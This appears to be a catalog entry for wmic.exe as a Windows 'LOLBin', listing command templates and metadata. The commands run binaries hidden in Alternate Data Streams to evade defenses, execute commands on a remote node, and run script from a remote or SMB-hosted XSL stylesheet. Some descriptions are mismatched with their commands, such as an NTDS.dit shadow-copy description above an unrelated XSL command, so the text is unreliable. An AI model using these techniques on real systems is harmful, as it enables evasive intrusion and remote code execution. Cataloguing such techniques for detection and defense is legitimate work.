The WMI command-line (WMIC) utility provides a command-line interface for WMI Located at: C:\Windows\System32\wbem\wmic.exe; C:\Windows\SysWOW64\wbem\wmic.exe.
wmic wmic Sandbox: execFile · Timeout: 30s
system.file.alternate-data-stream security.execution.command system.file.copy Outputs
process.output Command execution output
filesystem_writeprocess_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Execute a .EXE file stored as an Alternate Data Stream (ADS) (Execute binary file hidden in Alternate data streams to evade defensive counter measures)
wmic.exe process call create "{PATH_ABSOLUTE}:program.exe" Execute calc from wmic (Execute binary from wmic to evade defensive counter measures)
wmic.exe process call create "{CMD}" Execute evil.exe on the remote system. (Execute binary on a remote system)
wmic.exe /node:"192.168.0.1" process call create "{CMD}" Create a volume shadow copy of NTDS.dit that can be copied. (Execute binary on remote system)
wmic.exe process get brief /format:"{REMOTEURL:.xsl}" Executes JScript or VBScript embedded in the target remote XSL stylsheet. (Execute script from remote system)
wmic.exe process get brief /format:"{PATH_SMB:.xsl}" Copy file from source to destination. (Copy file.)
wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe" wmic is a Windows LOLBin. The WMI command-line (WMIC) utility provides a command-line interface for WMI Located at: C:\Windows\System32\wbem\wmic.exe; C:\Windows\SysWOW64\wbem\wmic.exe.